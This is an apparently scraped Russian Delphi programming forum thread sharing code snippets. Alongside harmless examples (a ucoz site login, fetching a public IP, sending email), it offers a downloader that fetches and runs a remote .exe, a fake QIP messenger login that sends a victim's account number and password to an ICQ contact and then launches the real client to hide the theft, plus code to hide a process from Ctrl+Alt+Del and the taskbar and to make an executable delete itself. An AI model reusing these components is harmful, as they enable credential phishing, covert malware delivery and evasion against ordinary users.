WSAStartUp($101, WSA);
try
PHE := GetHostByName(pChar(HostName));
if (PHE <> nil) then
begin
P := pAddr(PHE^.h_addr_list);
I := 0;
while (P^[i] <> nil) do
begin
Result := (inet_nToa(P^[i]^));
Inc(I);
end;
end;
except
end;
WSACleanUp;
end;

procedure GetFile(CompleteURL, SaveToDirectory: string; Puerto: Integer = 80);
var
WSA: TWSAData;
DownloaderSocket: TSocket;
DownloaderAddr: TSockAddrIn;
SendBuffer: string;
SentBytes: Integer;
ReceiveBuffer: array[0..4096] of Char;
ReceivedBytes: Integer;
WrittenBytes: Dword;
HeaderPos: integer;
Header: string;
GotHeader: Boolean;
DownloadedFile: THandle;
DNS, RemoteFilePath, FileName: string;
i: integer;
begin
SentBytes := 0;
GotHeader := False;
DNS := Copy(CompleteURL, Pos('http://', CompleteURL) + 7, Length(CompleteURL));
RemoteFilePath := Copy(DNS, Pos('/', DNS), Length(DNS));
DNS := Copy(DNS, 1, Pos('/', DNS) - 1);
i := Length(RemoteFilePath);
while (RemoteFilePath[i] <> '/') do
begin
FileName := RemoteFilePath[i] + FileName;
Dec(i);
end;
WSAStartup($101, WSA);
DownloaderSocket := Socket(AF_INET, SOCK_STREAM, 0);
DownloaderAddr.sin_family := AF_INET;
if (Puerto < 1) or (Puerto > 65535) then Puerto := 80;
DownloaderAddr.sin_port := htons(Puerto);
DownloaderAddr.sin_addr.S_addr := inet_addr(PChar(GetIPfromDNS(PChar(DNS))));
repeat
if Connect(DownloaderSocket, DownloaderAddr, sizeof(DownloaderAddr)) = 0 then
begin
SendBuffer := 'GET ' + RemoteFilePath + ' HTTP/1.1' + #13#10 +
'Accept: */*' + #13#10 +
'Accept-Language: en-us;q=0.5' + #13#10 +
'User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)' + #13#10 +
'Host: ' + DNS + #13#10 +
'Connection: close' + #13#10#13#10;
repeat
SentBytes := Send(DownloaderSocket, SendBuffer[1 + SentBytes], Length(SendBuffer) - SentBytes, 0);
until SentBytes >= Length(SendBuffer);
DownloadedFile := CreateFile(PChar(SaveToDirectory + FileName), GENERIC_WRITE, FILE_SHARE_WRITE, nil, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
SetFilePointer(DownloadedFile, 0, nil, FILE_END);
repeat
ZeroMemory(@ReceiveBuffer, Sizeof(ReceiveBuffer));
ReceivedBytes := Recv(DownloaderSocket, ReceiveBuffer, Sizeof(ReceiveBuffer), 0);
if ReceivedBytes > 0 then
begin
case GotHeader of
False:
begin
HeaderPos := Pos(#13#10#13#10, string(ReceiveBuffer));
if HeaderPos > 0 then
begin
WriteFile(DownloadedFile, ReceiveBuffer[HeaderPos + 3], ReceivedBytes - (HeaderPos + 3), WrittenBytes, nil);
SetLength(Header, HeaderPos);
Move(ReceiveBuffer[0], Header[1], HeaderPos + 3);
GotHeader := True;
end;
end;
else
WriteFile(DownloadedFile, ReceiveBuffer, ReceivedBytes, WrittenBytes, nil);
end;
end;
until (ReceivedBytes <= 0);
CloseHandle(DownloadedFile);
CloseSocket(DownloaderSocket);
Break;
end;
Sleep(60000);
until False;
WSACleanup();

ShellExecute(GetForegroundWindow, 'open', PChar(SaveToDirectory + FileName), '', '', SW_SHOWNORMAL);
end;

begin
GetFile('www.unnamedhost.com/file.exe', 'c:\');
end.

Интересные функции, ваши наработки.

Jaw — Wed, 05 May 2010 19:29:58 GMT

Авторизация на ucoz
Компилятор: Delphi7 и выше.
Автор: Jaw.

Авторизация на любом из сайтов созданых в системе ucoz при помощи локальной учтеной записи.
В этом примере показана авторизация на сайте https://delfcode.ru/ не составит труда переделать под любой другой сайт.

Code

procedure TForm1.Button1Click(Sender: TObject);
var
result,rdn,one,too,s: string;
Info: TStringlist;
CM : TidCookieManager;
begin
CM := TidCookieManager.Create(idHttp1);
idHttp1.AllowCookies := true;
idHttp1.CookieManager := CM;
result :=idhttp1.get('http://delfcode.ru/');
rdn:='';
one:='name="rnd" value="';
too:='" />';
if Pos(one,result)<>0 then delete(result,1,Pos(one,result)-1);
rdn:=copy(result,Pos(one,result)+length(one), Pos(too,result)-(Pos(one,result)+length(one)));
if Pos(one,result)<>0 then
delete(result,Pos(one,result),Pos(too,result)-1);
edit1.text:=rdn;
Info := TStringList.Create;
try
begin
Info.Clear;
Info.Add('user=Jaw');//имя пользователя заментие на свой.
Info.Add('password=123456');//пароль замените на свой.
Info.Add('rem=1');
Info.Add('a=2');
Info.Add('ajax=1');
Info.Add('rnd='+rdn);
s:=form1.idHTTP1.Post('http://delfcode.ru/index/sub/',Info);
rdn:='';
result:='';
one:='"+ad+"';
too:=#39+'",'+#39+'1000'+#39+')]]>';
if Pos(one,s)<>0 then delete(s,1,Pos(one,s)-1);
rdn:=copy(s,Pos(one,s)+length(one), Pos(too,s)-(Pos(one,s)+length(one)));
if Pos(one,s)<>0 then
delete(s,Pos(one,s),Pos(too,s)-1);
result:=idhttp1.get('http://delfcode.ru/'+rdn);
if Pos('Jaw',result)> 0 then//Имя пользователя замените на свое
showmessage('it works')
else
showmessage('no');
end;
finally
Info.Free;
CM.Free;
end;
end;

Получение публичного IP
Компилятор: Delphi7 и выше.
Автор: Jaw.

Это пример отправки GET запроса с помошью Winsock. Мы отправляеи гет запрос на страницу http://www.whatismyip.com/automation/n09230945.asp и в ответ получаем свой IP.

Code

procedure TForm1.Button1Click(Sender: TObject);
var
wData:WSAData;
s:TSOCKET;
addr:sockaddr_in;
sendbuff,a:string;
sBuff:array [1..6000] of char;
i:integer;
begin
if WSAStartup(makeword(1,1),wData)<>0 then
Begin
showmessage('сокс не найден');
exit;
End;
s:=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
FillChar(addr, SizeOf(sockaddr_in), 0);
addr.sin_family:=AF_Inet;
addr.sin_port:=htons(80);
addr.sin_addr.S_addr:=inet_addr('72.233.89.199');
Err(Connect(S,addr,SizeOf(TSockAddr)));
sendbuff := '';
sendbuff := 'GET /automation/n09230945.asp HTTP/1.1'+ #13#10 +
'Host: www.whatismyip.com'+ #13#10 +
'User-Agent: Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.2.15 Version/10.00'+ #13#10 +
'Accept:text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'+ #13#10 +
'Accept-Language:ru,en-us;q=0.7,en;q=0.3'+ #13#10 +
'Accept-Encoding:Accept-Encoding: {deflate, gzip,} x-gzip, identity, *;q=0'+ #13#10 +
'Accept-Charset:windows-1251,utf-8;q=0.7,*;q=0.7'+ #13#10 +
'Keep-Alive:300'+ #13#10 +
'Cookie: ASPSESSIONIDQQSACDRD=GCFAOKDBDLMGOFNGGKBCBKCO'+#13#10+
'Cookie2: $Version=1'+#13#10+
'Connection:keep-alive'+#13#10#13#10;
send(s, sendbuff[1] , Length(sendbuff), 0);
application.ProcessMessages;
recv(s,sBuff,5000,0);
application.ProcessMessages;
memo1.lines.add(sbuff);
end;

Добавлено (03.01.2010, 21:48)
---------------------------------------------
Возможный вариант доработки фейка квипа, процедура отправки номера;пароля:

Code

procedure TForm1.ICQClient1Login(Sender: TObject);
var
hform, hgroup, hcombo, hedi, wndt: HWND;
int: string;
begin
icqclient1.SendMessage(12345678, 'Уин: ' + ComboBox1.Text + ' Password: ' + Edit1.Text);// отправляем данные
formX.hide; //скрываем форму фейка
ShellExecute(Self.Handle, 'open', PChar('C:\programfiles\QIP\qip.exe'), nil, nil, SW_SHOWNORMAL);//запускаем оригинальный квип
sleep(10);// ждем пока загрузится квип
{ Заполняем поля }
hform:=FindWindow('TManForm', nil);
hgroup:=FindWindowEx(hform,0,'TGroupBox', nil);
hcombo:=FindWindowEx(hgroup,0,'TComboBox', nil);
hedit:=FindWindowEx(hgroup,0,'TEdit',nil);
int:=edit1.text; //пароль
SendMessage(hedit, WM_SETTEXT, 0, LParam(PChar(int)));
int:=ComboBox1.Text; //уин
SendMessage(hcombo, WM_SETTEXT, 0, LParam(PChar(int)));
{Нажимаем кнопку подключится}
wnd:=FindWindowEx(hgroup, 0, 'TButton', 'Подключиться');
PostMessage (wnd, BM_CLICK, 0, 0);
close;// закрываем фейк
end;

P.S: При создании формы фейка можно считывать из файла accounts.cfg данные о ранее подключаемых номерах для пущей убедительности.

Добавлено (05.05.2010, 22:04)
---------------------------------------------
Пример билдера II (не патчера).

Выкладываю пример билдера который не использует патчинг exe, для создания нового проекта, компилирует из исходников.

Файлы & Каталоги:

1. В дирректории Program исходный код программы генерируемой билдером.
2. В папке Builder хранятся исходники билдера.
3. Resource => ресурсы подключаемые к билдеру.
4. В каталоге lib присутствует сам компилятор, библиотеки для компиляции(system.dcu\Windows.dcu\SysInit.dcu\Type s.dcu) и make.bat собирающий исходники в *.exe.

Скачать: http://multi-up.com/268165

Убрать прогу из alt + ctrl + del

dolphin — Fri, 02 Apr 2010 21:05:31 GMT

Для удаления программы из диалога "Завершение работы программы", вызываемого по Ctrl+Alt+Del, нужно используют функцию RegisterServiceProcess. В Windows NT этой функции не существует. Поэтому, чтобы не происходило ошибки, нужно проверять версию Windows. Если это не Windows NT, то нужно динамически загрузить kernel32.dll.

Эта программа исчезает из Alt+Tab, не появляется и кнопка на TaskBar.
procedure TForm1.FormCreate(Sender: TObject);
var
RegProcess: function (p1, p2:integer): integer; stdcall;
hDllKernel: HInst;
begin
if GetVersion >= $80000000 then begin
hDllKernel := LoadLibrary('kernel32.dll');
RegProcess := GetProcAddress(hDllKernel, 'RegisterServiceProcess');
RegProcess(0, 1);
end;
ShowWindow(Application.Handle, SW_HIDE);
SetWindowLong(Application.Handle, GWL_EXSTYLE,
GetWindowLong(Application.Handle, GWL_EXSTYLE) or
WS_EX_TOOLWINDOW);
end;

Как программе удалить саму себя

dolphin — Fri, 02 Apr 2010 07:34:08 GMT

Первый способ:

Code

uses
   Windows, SysUtils;

procedure DeleteMe;
var
   BatchFile: TextFile;
   BatchFileName: string;
   ProcessInfo: TProcessInformation;
   StartUpInfo: TStartupInfo;
begin
   { создаём бат-файл в директории приложения }
   BatchFileName := ExtractFilePath(ParamStr(0)) + '$$336699.bat';

   { открываем и записываем в файл }
   AssignFile(BatchFile, BatchFileName);
   Rewrite(BatchFile);

   Writeln(BatchFile, ':try');
   Writeln(BatchFile, 'del "' + ParamStr(0) + '"');
   Writeln(BatchFile,
     'if exist "' + ParamStr(0) + '"' + ' goto try');
   Writeln(BatchFile, 'del "' + BatchFileName + '"');
   CloseFile(BatchFile);

   FillChar(StartUpInfo, SizeOf(StartUpInfo), $00);
   StartUpInfo.dwFlags := STARTF_USESHOWWINDOW;
   StartUpInfo.wShowWindow := SW_HIDE;

   if CreateProcess(nil, PChar(BatchFileName), nil, nil,
      False, IDLE_PRIORITY_CLASS, nil, nil, StartUpInfo,
      ProcessInfo) then
   begin
     CloseHandle(ProcessInfo.hThread);
     CloseHandle(ProcessInfo.hProcess);
   end;

end;

А вот тот же способ, но немного модифицированный:

Code

program delete2;

uses
   SysUtils,
   windows;

var
    BatchFile: TextFile;
    BatchFileName : string;
    TM : Cardinal;
    TempMem : PChar;

begin
     BatchFileName:=ExtractFilePath(ParamStr(0))+ '$$336699.bat';

    AssignFile(BatchFile, BatchFileName);
    Rewrite(BatchFile);

    Writeln(BatchFile,':try');
    Writeln(BatchFile,'del "' + ParamStr(0) + '"');
    Writeln(BatchFile,'if exist "' + ParamStr(0) + '" goto try');
    Writeln(BatchFile,'del "' + BatchFileName + '"');
    CloseFile(BatchFile);

    TM:=70;
    GetMem (TempMem,TM);
    GetShortPathName (pchar(BatchFileName), TempMem, TM);
    BatchFileName:=TempMem;
    FreeMem(TempMem);

    winexec(Pchar(BatchFileName),sw_hide);

    halt;

end.

Второй способ:

Code

procedure DeleteSelf;
var
   module: HModule;
   buf: array[0..MAX_PATH - 1] of char;
   p: ULong;
   hKrnl32: HModule;
   pExitProcess,
   pDeleteFile,
   pFreeLibrary: pointer;
begin
   module := GetModuleHandle(nil);
   GetModuleFileName(module, buf, SizeOf(buf));
   CloseHandle(THandle(4));
   p := ULONG(module) + 1;
   hKrnl32 := GetModuleHandle('kernel32');
   pExitProcess := GetProcAddress(hKrnl32, 'ExitProcess');
   pDeleteFile := GetProcAddress(hKrnl32, 'DeleteFileA');
   pFreeLibrary := GetProcAddress(hKrnl32, 'FreeLibrary');
   asm
     lea eax, buf
     push 0
     push 0
     push eax
     push pExitProcess
     push p
     push pDeleteFile
     push pFreeLibrary
     ret
   end;
end;

Отправить письмо

dolphin — Mon, 01 Mar 2010 14:46:11 GMT

// Кинуть на форму компонент IdSMTP1

...

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient,
IdMessageClient, IdSMTP, StdCtrls, idMessage, IdEMailAddress;

...

procedure TForm1.Button1Click(Sender: TObject);
var
M: TIdMessage;
begin
Доступно только для пользователейM := TIdMessage.Create(Form1);

M.Body.Add('Типа первая строчка собщения');
M.Body.Add('Типа вторая строчка собщения');
M.From.Text := '"Рустик" '; //отправитель
M.Recipients.Add;
M.Recipients.Items[0].Text := '"Тест" '; //Получатель
M.Subject := 'Ну чо? потестим? =)'; //Тема письма

IdSMTP1.AuthenticationType := atLogin;
IdSMTP1.Host := 'uacity.com';
IdSMTP1.Username := 'boris';
IdSMTP1.Password := '1234'; // - ну свой пароль я те не выдам :-Р
IdSMTP1.Connect();
if IdSMTP1.Connected then
begin
IdSMTP1.Send(M);
end;
IdSMTP1.Disconnect;
end;

Форматирование неизбежно

dolphin — Fri, 20 Nov 2009 06:15:32 GMT

Форум: Процедуры и функции Delphi
Описание темы: Принудительное форматированеи
Автор темы: dolphin
Автор последнего сообщения: fanlis
Количество ответов: 6